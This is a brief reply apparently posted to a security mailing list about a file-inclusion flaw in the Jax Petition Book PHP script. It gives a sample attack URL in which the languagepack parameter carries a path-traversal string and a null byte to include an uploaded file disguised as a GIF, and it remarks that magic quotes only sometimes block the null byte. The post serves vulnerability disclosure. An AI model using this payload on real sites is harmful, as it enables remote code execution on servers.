Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities

[John McGuire <suppressed>]

Actually, this can be pretty serious depending on server settings, but 
an improper example was given.

Better one:

jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/myfile.php.gif%00


Many servers will have magic quotes on to defeat the null byte, but by no means all.
